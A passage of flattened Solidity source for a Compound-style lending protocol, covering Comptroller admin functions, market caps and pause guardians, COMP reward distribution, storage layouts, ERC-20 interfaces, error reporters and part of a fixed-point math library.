oldCollateralFactorMantissa, newCollateralFactorMantissa); return uint(Error.NO_ERROR); } /** * @notice Sets liquidationIncentive * @dev Admin function to set liquidationIncentive * @param newLiquidationIncentiveMantissa New liquidationIncentive scaled by 1e18 * @return uint 0=success, otherwise a failure. (See ErrorReporter for details) */ function _setLiquidationIncentive(uint newLiquidationIncentiveMantissa) external returns (uint) { // Check caller is admin if (msg.sender != admin) { return fail(Error.UNAUTHORIZED, FailureInfo.SET_LIQUIDATION_INCENTIVE_OWNER_CHECK); } // Save current value for use in log uint oldLiquidationIncentiveMantissa = liquidationIncentiveMantissa; // Set liquidation incentive to new incentive liquidationIncentiveMantissa = newLiquidationIncentiveMantissa; // Emit event with old incentive, new incentive emit NewLiquidationIncentive(oldLiquidationIncentiveMantissa, newLiquidationIncentiveMantissa); return uint(Error.NO_ERROR); } /** * @notice Add the market to the markets mapping and set it as listed * @dev Admin function to set isListed and add support for the market * @param cToken The address of the market (token) to list * @param version The version of the market (token) * @return uint 0=success, otherwise a failure. (See enum Error for details) */ function _supportMarket(CToken cToken, Version version) external returns (uint) { require(msg.sender == admin, "only admin may support market"); require(!markets[address(cToken)].isListed, "market already listed"); cToken.isCToken(); // Sanity check to make sure its really a CToken markets[address(cToken)] = Market({isListed: true, isComped: true, collateralFactorMantissa: 0, version: version}); _addMarketInternal(address(cToken)); emit MarketListed(cToken); return uint(Error.NO_ERROR); } /** * @notice Remove the market from the markets mapping * @param cToken The address of the market (token) to delist */ function _delistMarket(CToken cToken) external { require(msg.sender == admin, "only admin may delist market"); require(markets[address(cToken)].isListed, "market not listed"); require(cToken.totalSupply() == 0, "market not empty"); cToken.isCToken(); // Sanity check to make sure its really a CToken delete markets[address(cToken)]; for (uint i = 0; i < allMarkets.length; i++) { if (allMarkets[i] == cToken) { allMarkets[i] = allMarkets[allMarkets.length - 1]; delete allMarkets[allMarkets.length - 1]; allMarkets.length--; break; } } emit MarketDelisted(cToken); } function _addMarketInternal(address cToken) internal { for (uint i = 0; i < allMarkets.length; i ++) { require(allMarkets[i] != CToken(cToken), "market already added"); } allMarkets.push(CToken(cToken)); } /** * @notice Admin function to change the Supply Cap Guardian * @param newSupplyCapGuardian The address of the new Supply Cap Guardian */ function _setSupplyCapGuardian(address newSupplyCapGuardian) external { require(msg.sender == admin, "only admin can set supply cap guardian"); // Save current value for inclusion in log address oldSupplyCapGuardian = supplyCapGuardian; // Store supplyCapGuardian with value newSupplyCapGuardian supplyCapGuardian = newSupplyCapGuardian; // Emit NewSupplyCapGuardian(OldSupplyCapGuardian, NewSupplyCapGuardian) emit NewSupplyCapGuardian(oldSupplyCapGuardian, newSupplyCapGuardian); } /** * @notice Set the given supply caps for the given cToken markets. Supplying that brings total supplys to or above supply cap will revert. * @dev Admin or supplyCapGuardian function to set the supply caps. A supply cap of 0 corresponds to unlimited supplying. If the total borrows * already exceeded the cap, it will prevent anyone to borrow. * @param cTokens The addresses of the markets (tokens) to change the supply caps for * @param newSupplyCaps The new supply cap values in underlying to be set. A value of 0 corresponds to unlimited supplying. */ function _setMarketSupplyCaps(CToken[] calldata cTokens, uint[] calldata newSupplyCaps) external { require(msg.sender == admin || msg.sender == supplyCapGuardian, "only admin or supply cap guardian can set supply caps"); uint numMarkets = cTokens.length; uint numSupplyCaps = newSupplyCaps.length; require(numMarkets != 0 && numMarkets == numSupplyCaps, "invalid input"); for (uint i = 0; i < numMarkets; i++) { supplyCaps[address(cTokens[i])] = newSupplyCaps[i]; emit NewSupplyCap(cTokens[i], newSupplyCaps[i]); } } /** * @notice Set the given borrow caps for the given cToken markets. Borrowing that brings total borrows to or above borrow cap will revert. * @dev Admin or borrowCapGuardian function to set the borrow caps. A borrow cap of 0 corresponds to unlimited borrowing. If the total supplies * already exceeded the cap, it will prevent anyone to mint. * @param cTokens The addresses of the markets (tokens) to change the borrow caps for * @param newBorrowCaps The new borrow cap values in underlying to be set. A value of 0 corresponds to unlimited borrowing. */ function _setMarketBorrowCaps(CToken[] calldata cTokens, uint[] calldata newBorrowCaps) external { require(msg.sender == admin || msg.sender == borrowCapGuardian, "only admin or borrow cap guardian can set borrow caps"); uint numMarkets = cTokens.length; uint numBorrowCaps = newBorrowCaps.length; require(numMarkets != 0 && numMarkets == numBorrowCaps, "invalid input"); for (uint i = 0; i < numMarkets; i++) { borrowCaps[address(cTokens[i])] = newBorrowCaps[i]; emit NewBorrowCap(cTokens[i], newBorrowCaps[i]); } } /** * @notice Admin function to change the Borrow Cap Guardian * @param newBorrowCapGuardian The address of the new Borrow Cap Guardian */ function _setBorrowCapGuardian(address newBorrowCapGuardian) external { require(msg.sender == admin, "only admin can set borrow cap guardian"); // Save current value for inclusion in log address oldBorrowCapGuardian = borrowCapGuardian; // Store borrowCapGuardian with value newBorrowCapGuardian borrowCapGuardian = newBorrowCapGuardian; // Emit NewBorrowCapGuardian(OldBorrowCapGuardian, NewBorrowCapGuardian) emit NewBorrowCapGuardian(oldBorrowCapGuardian, newBorrowCapGuardian); } /** * @notice Admin function to change the Pause Guardian * @param newPauseGuardian The address of the new Pause Guardian * @return uint 0=success, otherwise a failure. (See enum Error for details) */ function _setPauseGuardian(address newPauseGuardian) public returns (uint) { if (msg.sender != admin) { return fail(Error.UNAUTHORIZED, FailureInfo.SET_PAUSE_GUARDIAN_OWNER_CHECK); } // Save current value for inclusion in log address oldPauseGuardian = pauseGuardian; // Store pauseGuardian with value newPauseGuardian pauseGuardian = newPauseGuardian; // Emit NewPauseGuardian(OldPauseGuardian, NewPauseGuardian) emit NewPauseGuardian(oldPauseGuardian, pauseGuardian); return uint(Error.NO_ERROR); } function _setMintPaused(CToken cToken, bool state) public returns (bool) { require(markets[address(cToken)].isListed, "cannot pause a market that is not listed"); require(msg.sender == pauseGuardian || msg.sender == admin, "only pause guardian and admin can pause"); require(msg.sender == admin || state == true, "only admin can unpause"); mintGuardianPaused[address(cToken)] = state; emit ActionPaused(cToken, "Mint", state); return state; } function _setBorrowPaused(CToken cToken, bool state) public returns (bool) { require(markets[address(cToken)].isListed, "cannot pause a market that is not listed"); require(msg.sender == pauseGuardian || msg.sender == admin, "only pause guardian and admin can pause"); require(msg.sender == admin || state == true, "only admin can unpause"); borrowGuardianPaused[address(cToken)] = state; emit ActionPaused(cToken, "Borrow", state); return state; } function _setFlashloanPaused(CToken cToken, bool state) public returns (bool) { require(markets[address(cToken)].isListed, "cannot pause a market that is not listed"); require(msg.sender == pauseGuardian || msg.sender == admin, "only pause guardian and admin can pause"); require(msg.sender == admin || state == true, "only admin can unpause"); flashloanGuardianPaused[address(cToken)] = state; emit ActionPaused(cToken, "Flashloan", state); return state; } function _setTransferPaused(bool state) public returns (bool) { require(msg.sender == pauseGuardian || msg.sender == admin, "only pause guardian and admin can pause"); require(msg.sender == admin || state == true, "only admin can unpause"); transferGuardianPaused = state; emit ActionPaused("Transfer", state); return state; } function _setSeizePaused(bool state) public returns (bool) { require(msg.sender == pauseGuardian || msg.sender == admin, "only pause guardian and admin can pause"); require(msg.sender == admin || state == true, "only admin can unpause"); seizeGuardianPaused = state; emit ActionPaused("Seize", state); return state; } function _become(Unitroller unitroller) public { require(msg.sender == unitroller.admin(), "only unitroller admin can change brains"); require(unitroller._acceptImplementation() == 0, "change not authorized"); } /*** Comp Distribution ***/ /** * @notice Calculate COMP accrued by a supplier and possibly transfer it to them * @param cToken The market in which the supplier is interacting * @param supplier The address of the supplier to distribute COMP to */ function distributeSupplierComp(address cToken, address supplier) internal { CompMarketState storage supplyState = compSupplyState[cToken]; Double memory supplyIndex = Double({mantissa: supplyState.index}); Double memory supplierIndex = Double({mantissa: compSupplierIndex[cToken][supplier]}); compSupplierIndex[cToken][supplier] = supplyIndex.mantissa; if (supplierIndex.mantissa == 0 && supplyIndex.mantissa > 0) { supplierIndex.mantissa = compInitialIndex; } Double memory deltaIndex = sub_(supplyIndex, supplierIndex); uint supplierTokens = CToken(cToken).balanceOf(supplier); uint supplierDelta = mul_(supplierTokens, deltaIndex); uint supplierAccrued = add_(compAccrued[supplier], supplierDelta); compAccrued[supplier] = transferComp(supplier, supplierAccrued); emit DistributedSupplierComp(CToken(cToken), supplier, supplierDelta, supplyIndex.mantissa); } /** * @notice Calculate COMP accrued by a borrower and possibly transfer it to them * @dev Borrowers will not begin to accrue until after the first interaction with the protocol. * @param cToken The market in which the borrower is interacting * @param borrower The address of the borrower to distribute COMP to */ function distributeBorrowerComp(address cToken, address borrower, Exp memory marketBorrowIndex) internal { CompMarketState storage borrowState = compBorrowState[cToken]; Double memory borrowIndex = Double({mantissa: borrowState.index}); Double memory borrowerIndex = Double({mantissa: compBorrowerIndex[cToken][borrower]}); compBorrowerIndex[cToken][borrower] = borrowIndex.mantissa; if (borrowerIndex.mantissa > 0) { Double memory deltaIndex = sub_(borrowIndex, borrowerIndex); uint borrowerAmount = div_(CToken(cToken).borrowBalanceStored(borrower), marketBorrowIndex); uint borrowerDelta = mul_(borrowerAmount, deltaIndex); uint borrowerAccrued = add_(compAccrued[borrower], borrowerDelta); compAccrued[borrower] = transferComp(borrower, borrowerAccrued); emit DistributedBorrowerComp(CToken(cToken), borrower, borrowerDelta, borrowIndex.mantissa); } } /** * @notice Transfer COMP to the user, if they are above the threshold * @dev Note: If there is not enough COMP, we do not perform the transfer all. * @param user The address of the user to transfer COMP to * @param userAccrued The amount of COMP to (possibly) transfer * @return The amount of COMP which was NOT transferred to the user */ function transferComp(address user, uint userAccrued) internal returns (uint) { if (userAccrued > 0) { Comp comp = Comp(getCompAddress()); uint compRemaining = comp.balanceOf(address(this)); if (userAccrued <= compRemaining) { comp.transfer(user, userAccrued); return 0; } } return userAccrued; } /** * @notice Claim all the comp accrued by holder in all markets * @param holder The address to claim COMP for */ function claimComp(address holder) public { address[] memory holders = new address[](1); holders[0] = holder; return claimComp(holders, allMarkets, true, true); } /** * @notice Claim all comp accrued by the holders * @param holders The addresses to claim COMP for * @param cTokens The list of markets to claim COMP in * @param borrowers Whether or not to claim COMP earned by borrowing * @param suppliers Whether or not to claim COMP earned by supplying */ function claimComp(address[] memory holders, CToken[] memory cTokens, bool borrowers, bool suppliers) public { for (uint i = 0; i < cTokens.length; i++) { CToken cToken = cTokens[i]; require(markets[address(cToken)].isListed, "market must be listed"); if (borrowers == true) { Exp memory borrowIndex = Exp({mantissa: cToken.borrowIndex()}); for (uint j = 0; j < holders.length; j++) { distributeBorrowerComp(address(cToken), holders[j], borrowIndex); } } if (suppliers == true) { for (uint j = 0; j < holders.length; j++) { distributeSupplierComp(address(cToken), holders[j]); } } } } /** * @notice Return all of the markets * @dev The automatic getter may be used to access an individual market. * @return The list of market addresses */ function getAllMarkets() public view returns (CToken[] memory) { return allMarkets; } function getBlockNumber() public view returns (uint) { return block.number; } /** * @notice Return the address of the COMP token * @return The address of COMP */ function getCompAddress() public view returns (address) { return 0x2ba592F78dB6436527729929AAf6c908497cB200; } } pragma solidity ^0.5.16; import "./CToken.sol"; import "./ComptrollerStorage.sol"; contract ComptrollerInterface { /// @notice Indicator that this is a Comptroller contract (for inspection) bool public constant isComptroller = true; /*** Assets You Are In ***/ function enterMarkets(address[] calldata cTokens) external returns (uint[] memory); function exitMarket(address cToken) external returns (uint); /*** Policy Hooks ***/ function mintAllowed(address cToken, address minter, uint mintAmount) external returns (uint); function mintVerify(address cToken, address minter, uint mintAmount, uint mintTokens) external; function redeemAllowed(address cToken, address redeemer, uint redeemTokens) external returns (uint); function redeemVerify(address cToken, address redeemer, uint redeemAmount, uint redeemTokens) external; function borrowAllowed(address cToken, address borrower, uint borrowAmount) external returns (uint); function borrowVerify(address cToken, address borrower, uint borrowAmount) external; function repayBorrowAllowed( address cToken, address payer, address borrower, uint repayAmount) external returns (uint); function repayBorrowVerify( address cToken, address payer, address borrower, uint repayAmount, uint borrowerIndex) external; function liquidateBorrowAllowed( address cTokenBorrowed, address cTokenCollateral, address liquidator, address borrower, uint repayAmount) external returns (uint); function liquidateBorrowVerify( address cTokenBorrowed, address cTokenCollateral, address liquidator, address borrower, uint repayAmount, uint seizeTokens) external; function seizeAllowed( address cTokenCollateral, address cTokenBorrowed, address liquidator, address borrower, uint seizeTokens) external returns (uint); function seizeVerify( address cTokenCollateral, address cTokenBorrowed, address liquidator, address borrower, uint seizeTokens) external; function transferAllowed(address cToken, address src, address dst, uint transferTokens) external returns (uint); function transferVerify(address cToken, address src, address dst, uint transferTokens) external; /*** Liquidity/Liquidation Calculations ***/ function liquidateCalculateSeizeTokens( address cTokenBorrowed, address cTokenCollateral, uint repayAmount) external view returns (uint, uint); } interface ComptrollerInterfaceExtension { function checkMembership(address account, CToken cToken) external view returns (bool); function updateCTokenVersion(address cToken, ComptrollerV2Storage.Version version) external; function flashloanAllowed(address cToken, address receiver, uint amount, bytes calldata params) external; } pragma solidity ^0.5.16; import "./CToken.sol"; import "./PriceOracle.sol"; contract UnitrollerAdminStorage { /** * @notice Administrator for this contract */ address public admin; /** * @notice Pending administrator for this contract */ address public pendingAdmin; /** * @notice Active brains of Unitroller */ address public comptrollerImplementation; /** * @notice Pending brains of Unitroller */ address public pendingComptrollerImplementation; } contract ComptrollerV1Storage is UnitrollerAdminStorage { /** * @notice Oracle which gives the price of any given asset */ PriceOracle public oracle; /** * @notice Multiplier used to calculate the maximum repayAmount when liquidating a borrow */ uint public closeFactorMantissa; /** * @notice Multiplier representing the discount on collateral that a liquidator receives */ uint public liquidationIncentiveMantissa; /** * @notice Max number of assets a single account can participate in (borrow or use as collateral) */ uint public maxAssets; /** * @notice Per-account mapping of "assets you are in", capped by maxAssets */ mapping(address => CToken[]) public accountAssets; } contract ComptrollerV2Storage is ComptrollerV1Storage { enum Version { VANILLA, COLLATERALCAP } struct Market { /// @notice Whether or not this market is listed bool isListed; /** * @notice Multiplier representing the most one can borrow against their collateral in this market. * For instance, 0.9 to allow borrowing 90% of collateral value. * Must be between 0 and 1, and stored as a mantissa. */ uint collateralFactorMantissa; /// @notice Per-market mapping of "accounts in this asset" mapping(address => bool) accountMembership; /// @notice Whether or not this market receives COMP bool isComped; /// @notice CToken version Version version; } /** * @notice Official mapping of cTokens -> Market metadata * @dev Used e.g. to determine if a market is supported */ mapping(address => Market) public markets; /** * @notice The Pause Guardian can pause certain actions as a safety mechanism. * Actions which allow users to remove their own assets cannot be paused. * Liquidation / seizing / transfer can only be paused globally, not by market. */ address public pauseGuardian; bool public _mintGuardianPaused; bool public _borrowGuardianPaused; bool public transferGuardianPaused; bool public seizeGuardianPaused; mapping(address => bool) public mintGuardianPaused; mapping(address => bool) public borrowGuardianPaused; } contract ComptrollerV3Storage is ComptrollerV2Storage { struct CompMarketState { /// @notice The market's last updated compBorrowIndex or compSupplyIndex uint224 index; /// @notice The block number the index was last updated at uint32 block; } /// @notice A list of all markets CToken[] public allMarkets; /// @notice The rate at which the flywheel distributes COMP, per block uint public compRate; /// @notice The portion of compRate that each market currently receives mapping(address => uint) public compSpeeds; /// @notice The COMP market supply state for each market mapping(address => CompMarketState) public compSupplyState; /// @notice The COMP market borrow state for each market mapping(address => CompMarketState) public compBorrowState; /// @notice The COMP borrow index for each market for each supplier as of the last time they accrued COMP mapping(address => mapping(address => uint)) public compSupplierIndex; /// @notice The COMP borrow index for each market for each borrower as of the last time they accrued COMP mapping(address => mapping(address => uint)) public compBorrowerIndex; /// @notice The COMP accrued but not yet transferred to each user mapping(address => uint) public compAccrued; } contract ComptrollerV4Storage is ComptrollerV3Storage { // @notice The borrowCapGuardian can set borrowCaps to any number for any market. Lowering the borrow cap could disable borrowing on the given market. address public borrowCapGuardian; // @notice Borrow caps enforced by borrowAllowed for each cToken address. Defaults to zero which corresponds to unlimited borrowing. mapping(address => uint) public borrowCaps; } contract ComptrollerV5Storage is ComptrollerV4Storage { // @notice The supplyCapGuardian can set supplyCaps to any number for any market. Lowering the supply cap could disable supplying to the given market. address public supplyCapGuardian; // @notice Supply caps enforced by mintAllowed for each cToken address. Defaults to zero which corresponds to unlimited supplying. mapping(address => uint) public supplyCaps; } contract ComptrollerV6Storage is ComptrollerV5Storage { // @notice flashloanGuardianPaused can pause flash loan as a safety mechanism. mapping(address => bool) public flashloanGuardianPaused; } pragma solidity ^0.5.16; /** * @title ERC 20 Token Standard Interface * https://eips.ethereum.org/EIPS/eip-20 */ interface EIP20Interface { function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint8); /** * @notice Get the total number of tokens in circulation * @return The supply of tokens */ function totalSupply() external view returns (uint256); /** * @notice Gets the balance of the specified address * @param owner The address from which the balance will be retrieved * @return The balance */ function balanceOf(address owner) external view returns (uint256 balance); /** * @notice Transfer `amount` tokens from `msg.sender` to `dst` * @param dst The address of the destination account * @param amount The number of tokens to transfer * @return Whether or not the transfer succeeded */ function transfer(address dst, uint256 amount) external returns (bool success); /** * @notice Transfer `amount` tokens from `src` to `dst` * @param src The address of the source account * @param dst The address of the destination account * @param amount The number of tokens to transfer * @return Whether or not the transfer succeeded */ function transferFrom(address src, address dst, uint256 amount) external returns (bool success); /** * @notice Approve `spender` to transfer up to `amount` from `src` * @dev This will overwrite the approval amount for `spender` * and is subject to issues noted [here](https://eips.ethereum.org/EIPS/eip-20#approve) * @param spender The address of the account which may transfer tokens * @param amount The number of tokens that are approved (-1 means infinite) * @return Whether or not the approval succeeded */ function approve(address spender, uint256 amount) external returns (bool success); /** * @notice Get the current allowance from `owner` for `spender` * @param owner The address of the account which owns the tokens to be spent * @param spender The address of the account which may transfer tokens * @return The number of tokens allowed to be spent (-1 means infinite) */ function allowance(address owner, address spender) external view returns (uint256 remaining); event Transfer(address indexed from, address indexed to, uint256 amount); event Approval(address indexed owner, address indexed spender, uint256 amount); } pragma solidity ^0.5.16; /** * @title EIP20NonStandardInterface * @dev Version of ERC20 with no return values for `transfer` and `transferFrom` * See https://medium.com/coinmonks/missing-return-value-bug-at-least-130-tokens-affected-d67bf08521ca */ interface EIP20NonStandardInterface { /** * @notice Get the total number of tokens in circulation * @return The supply of tokens */ function totalSupply() external view returns (uint256); /** * @notice Gets the balance of the specified address * @param owner The address from which the balance will be retrieved * @return The balance */ function balanceOf(address owner) external view returns (uint256 balance); /// /// !!!!!!!!!!!!!! /// !!! NOTICE !!! `transfer` does not return a value, in violation of the ERC-20 specification /// !!!!!!!!!!!!!! /// /** * @notice Transfer `amount` tokens from `msg.sender` to `dst` * @param dst The address of the destination account * @param amount The number of tokens to transfer */ function transfer(address dst, uint256 amount) external; /// /// !!!!!!!!!!!!!! /// !!! NOTICE !!! `transferFrom` does not return a value, in violation of the ERC-20 specification /// !!!!!!!!!!!!!! /// /** * @notice Transfer `amount` tokens from `src` to `dst` * @param src The address of the source account * @param dst The address of the destination account * @param amount The number of tokens to transfer */ function transferFrom(address src, address dst, uint256 amount) external; /** * @notice Approve `spender` to transfer up to `amount` from `src` * @dev This will overwrite the approval amount for `spender` * and is subject to issues noted [here](https://eips.ethereum.org/EIPS/eip-20#approve) * @param spender The address of the account which may transfer tokens * @param amount The number of tokens that are approved * @return Whether or not the approval succeeded */ function approve(address spender, uint256 amount) external returns (bool success); /** * @notice Get the current allowance from `owner` for `spender` * @param owner The address of the account which owns the tokens to be spent * @param spender The address of the account which may transfer tokens * @return The number of tokens allowed to be spent */ function allowance(address owner, address spender) external view returns (uint256 remaining); event Transfer(address indexed from, address indexed to, uint256 amount); event Approval(address indexed owner, address indexed spender, uint256 amount); } pragma solidity ^0.5.16; contract ComptrollerErrorReporter { enum Error { NO_ERROR, UNAUTHORIZED, COMPTROLLER_MISMATCH, INSUFFICIENT_SHORTFALL, INSUFFICIENT_LIQUIDITY, INVALID_CLOSE_FACTOR, INVALID_COLLATERAL_FACTOR, INVALID_LIQUIDATION_INCENTIVE, MARKET_NOT_ENTERED, // no longer possible MARKET_NOT_LISTED, MARKET_ALREADY_LISTED, MATH_ERROR, NONZERO_BORROW_BALANCE, PRICE_ERROR, REJECTION, SNAPSHOT_ERROR, TOO_MANY_ASSETS, TOO_MUCH_REPAY } enum FailureInfo { ACCEPT_ADMIN_PENDING_ADMIN_CHECK, ACCEPT_PENDING_IMPLEMENTATION_ADDRESS_CHECK, EXIT_MARKET_BALANCE_OWED, EXIT_MARKET_REJECTION, SET_CLOSE_FACTOR_OWNER_CHECK, SET_CLOSE_FACTOR_VALIDATION, SET_COLLATERAL_FACTOR_OWNER_CHECK, SET_COLLATERAL_FACTOR_NO_EXISTS, SET_COLLATERAL_FACTOR_VALIDATION, SET_COLLATERAL_FACTOR_WITHOUT_PRICE, SET_IMPLEMENTATION_OWNER_CHECK, SET_LIQUIDATION_INCENTIVE_OWNER_CHECK, SET_LIQUIDATION_INCENTIVE_VALIDATION, SET_MAX_ASSETS_OWNER_CHECK, SET_PENDING_ADMIN_OWNER_CHECK, SET_PENDING_IMPLEMENTATION_OWNER_CHECK, SET_PRICE_ORACLE_OWNER_CHECK, SUPPORT_MARKET_EXISTS, SUPPORT_MARKET_OWNER_CHECK, SET_PAUSE_GUARDIAN_OWNER_CHECK } /** * @dev `error` corresponds to enum Error; `info` corresponds to enum FailureInfo, and `detail` is an arbitrary * contract-specific code that enables us to report opaque error codes from upgradeable contracts. **/ event Failure(uint error, uint info, uint detail); /** * @dev use this when reporting a known error from the money market or a non-upgradeable collaborator */ function fail(Error err, FailureInfo info) internal returns (uint) { emit Failure(uint(err), uint(info), 0); return uint(err); } /** * @dev use this when reporting an opaque error from an upgradeable collaborator contract */ function failOpaque(Error err, FailureInfo info, uint opaqueError) internal returns (uint) { emit Failure(uint(err), uint(info), opaqueError); return uint(err); } } contract TokenErrorReporter { enum Error { NO_ERROR, UNAUTHORIZED, BAD_INPUT, COMPTROLLER_REJECTION, COMPTROLLER_CALCULATION_ERROR, INTEREST_RATE_MODEL_ERROR, INVALID_ACCOUNT_PAIR, INVALID_CLOSE_AMOUNT_REQUESTED, INVALID_COLLATERAL_FACTOR, MATH_ERROR, MARKET_NOT_FRESH, MARKET_NOT_LISTED, TOKEN_INSUFFICIENT_ALLOWANCE, TOKEN_INSUFFICIENT_BALANCE, TOKEN_INSUFFICIENT_CASH, TOKEN_TRANSFER_IN_FAILED, TOKEN_TRANSFER_OUT_FAILED } /* * Note: FailureInfo (but not Error) is kept in alphabetical order * This is because FailureInfo grows significantly faster, and * the order of Error has some meaning, while the order of FailureInfo * is entirely arbitrary. */ enum FailureInfo { ACCEPT_ADMIN_PENDING_ADMIN_CHECK, ACCRUE_INTEREST_BORROW_RATE_CALCULATION_FAILED, BORROW_ACCRUE_INTEREST_FAILED, BORROW_CASH_NOT_AVAILABLE, BORROW_FRESHNESS_CHECK, BORROW_MARKET_NOT_LISTED, BORROW_COMPTROLLER_REJECTION, LIQUIDATE_ACCRUE_BORROW_INTEREST_FAILED, LIQUIDATE_ACCRUE_COLLATERAL_INTEREST_FAILED, LIQUIDATE_COLLATERAL_FRESHNESS_CHECK, LIQUIDATE_COMPTROLLER_REJECTION, LIQUIDATE_COMPTROLLER_CALCULATE_AMOUNT_SEIZE_FAILED, LIQUIDATE_CLOSE_AMOUNT_IS_UINT_MAX, LIQUIDATE_CLOSE_AMOUNT_IS_ZERO, LIQUIDATE_FRESHNESS_CHECK, LIQUIDATE_LIQUIDATOR_IS_BORROWER, LIQUIDATE_REPAY_BORROW_FRESH_FAILED, LIQUIDATE_SEIZE_COMPTROLLER_REJECTION, LIQUIDATE_SEIZE_LIQUIDATOR_IS_BORROWER, LIQUIDATE_SEIZE_TOO_MUCH, MINT_ACCRUE_INTEREST_FAILED, MINT_COMPTROLLER_REJECTION, MINT_FRESHNESS_CHECK, MINT_TRANSFER_IN_FAILED, MINT_TRANSFER_IN_NOT_POSSIBLE, REDEEM_ACCRUE_INTEREST_FAILED, REDEEM_COMPTROLLER_REJECTION, REDEEM_FRESHNESS_CHECK, REDEEM_TRANSFER_OUT_NOT_POSSIBLE, REDUCE_RESERVES_ACCRUE_INTEREST_FAILED, REDUCE_RESERVES_ADMIN_CHECK, REDUCE_RESERVES_CASH_NOT_AVAILABLE, REDUCE_RESERVES_FRESH_CHECK, REDUCE_RESERVES_VALIDATION, REPAY_BEHALF_ACCRUE_INTEREST_FAILED, REPAY_BORROW_ACCRUE_INTEREST_FAILED, REPAY_BORROW_COMPTROLLER_REJECTION, REPAY_BORROW_FRESHNESS_CHECK, REPAY_BORROW_TRANSFER_IN_NOT_POSSIBLE, SET_COLLATERAL_FACTOR_OWNER_CHECK, SET_COLLATERAL_FACTOR_VALIDATION, SET_COMPTROLLER_OWNER_CHECK, SET_INTEREST_RATE_MODEL_ACCRUE_INTEREST_FAILED, SET_INTEREST_RATE_MODEL_FRESH_CHECK, SET_INTEREST_RATE_MODEL_OWNER_CHECK, SET_MAX_ASSETS_OWNER_CHECK, SET_ORACLE_MARKET_NOT_LISTED, SET_PENDING_ADMIN_OWNER_CHECK, SET_RESERVE_FACTOR_ACCRUE_INTEREST_FAILED, SET_RESERVE_FACTOR_ADMIN_CHECK, SET_RESERVE_FACTOR_FRESH_CHECK, SET_RESERVE_FACTOR_BOUNDS_CHECK, TRANSFER_COMPTROLLER_REJECTION, TRANSFER_NOT_ALLOWED, ADD_RESERVES_ACCRUE_INTEREST_FAILED, ADD_RESERVES_FRESH_CHECK, ADD_RESERVES_TRANSFER_IN_NOT_POSSIBLE } /** * @dev `error` corresponds to enum Error; `info` corresponds to enum FailureInfo, and `detail` is an arbitrary * contract-specific code that enables us to report opaque error codes from upgradeable contracts. **/ event Failure(uint error, uint info, uint detail); /** * @dev use this when reporting a known error from the money market or a non-upgradeable collaborator */ function fail(Error err, FailureInfo info) internal returns (uint) { emit Failure(uint(err), uint(info), 0); return uint(err); } /** * @dev use this when reporting an opaque error from an upgradeable collaborator contract */ function failOpaque(Error err, FailureInfo info, uint opaqueError) internal returns (uint) { emit Failure(uint(err), uint(info), opaqueError); return uint(err); } } pragma solidity ^0.5.16; import "./CarefulMath.sol"; /** * @title Exponential module for storing fixed-precision decimals * @author Compound * @notice Exp is a struct which stores decimals with a fixed precision of 18 decimal places. * Thus, if we wanted to store the 5.1, mantissa would store 5.1e18. That is: * `Exp({mantissa: 5100000000000000000})`. */ contract Exponential is CarefulMath { uint constant expScale = 1e18; uint constant doubleScale = 1e36; uint constant halfExpScale = expScale/2; uint constant mantissaOne = expScale; struct Exp { uint mantissa; } struct Double { uint mantissa; } /** * @dev Creates an exponential from numerator and denominator values. * Note: Returns an error if (`num` * 10e18) > MAX_INT, * or if `denom` is zero. */ function getExp(uint num, uint denom) pure internal returns (MathError, Exp memory) { (MathError err0, uint scaledNumerator) = mulUInt(num, expScale); if (err0 != MathError.NO_ERROR) { return (err0, Exp({mantissa: 0})); } (MathError err1, uint rational) = divUInt(scaledNumerator, denom); if (err1 != MathError.NO_ERROR) { return (err1, Exp({mantissa: 0})); } return (MathError.NO_ERROR, Exp({mantissa: rational})); } /** * @dev Adds two exponentials, returning a new exponential. */ function addExp(Exp memory a, Exp memory b) pure internal returns (MathError, Exp memory) { (MathError error, uint result) = addUInt(a.mantissa, b.mantissa); return (error, Exp({mantissa: result})); } /** * @dev Subtracts two exponentials, returning a new exponential. */ function subExp(Exp memory a, Exp memory b) pure internal returns (MathError, Exp memory) { (MathError error, uint result) = subUInt(a.mantissa, b.mantissa); return (error, Exp({mantissa: result})); } /** * @dev Multiply an Exp by a scalar, returning a new Exp. */ function mulScalar(Exp memory a, uint scalar) pure internal returns (MathError, Exp memory) { (MathError err0, uint scaledMantissa) = mulUInt(a.mantissa, scalar); if (err0 != MathError.NO_ERROR) { return (err0, Exp({mantissa: 0})); } return (MathError.NO_ERROR, Exp({mantissa: scaledMantissa})); } /** * @dev Multiply an Exp by a scalar, then truncate to return an unsigned integer. */ function mulScalarTruncate(Exp memory a, uint scalar) pure internal returns (MathError, uint) { (MathError err, Exp memory product) = mulScalar(a, scalar); if (err != MathError.NO_ERROR) { return (err, 0); } return (MathError.NO_ERROR, truncate(product)); } /** * @dev Multiply an Exp by a scalar, truncate, then add an to an unsigned integer, returning an unsigned integer. */ function mulScalarTruncateAddUInt(Exp memory a, uint scalar, uint addend) pure internal returns (MathError, uint) { (MathError err, Exp memory product) = mulScalar(a, scalar); if (err != MathError.NO_ERROR) { return (err, 0); } return addUInt(truncate(product), addend); } /** * @dev Multiply an Exp by a scalar, then truncate to return an unsigned integer. */ function mul_ScalarTruncate(Exp memory a, uint scalar) pure internal returns (uint) { Exp memory product = mul_(a, scalar); return truncate(product); } /** * @dev Multiply an Exp by a scalar, truncate, then add an to an unsigned integer, returning an unsigned integer. */ function mul_ScalarTruncateAddUInt(Exp memory a, uint scalar, uint addend) pure internal returns (uint) { Exp memory product = mul_(a, scalar); return add_(truncate(product), addend); } /** * @dev Divide an Exp by a scalar, returning a new Exp. */ function divScalar(Exp memory a, uint scalar) pure internal returns (MathError, Exp memory) { (MathError err0, uint descaledMantissa) = divUInt(a.mantissa, scalar); if (err0 != MathError.NO_ERROR) { return (err0, Exp({mantissa: 0})); } return (MathError.NO_ERROR, Exp({mantissa: descaledMantissa})); } /** * @dev Divide a scalar by an Exp, returning a new Exp. */ function divScalarByExp(uint scalar, Exp memory divisor) pure internal returns (MathError, Exp memory) { /* We are doing this as: getExp(mulUInt(expScale, scalar), divisor.mantissa) How it works: Exp = a / b; Scalar = s; `s / (a / b)` = `b * s / a` and since for an Exp `a = mantissa, b = expScale` */ (MathError err0, uint numerator) = mulUInt(expScale, scalar); if (err0 != MathError.NO_ERROR) { return (err0, Exp({mantissa: 0})); } return getExp(numerator, divisor.mantissa); } /** * @dev Divide a scalar by an Exp, then truncate to return an unsigned integer. */ function divScalarByExpTruncate(uint scalar, Exp memory divisor) pure internal returns (MathError, uint) { (MathError err, Exp memory fraction) = divScalarByExp(scalar, 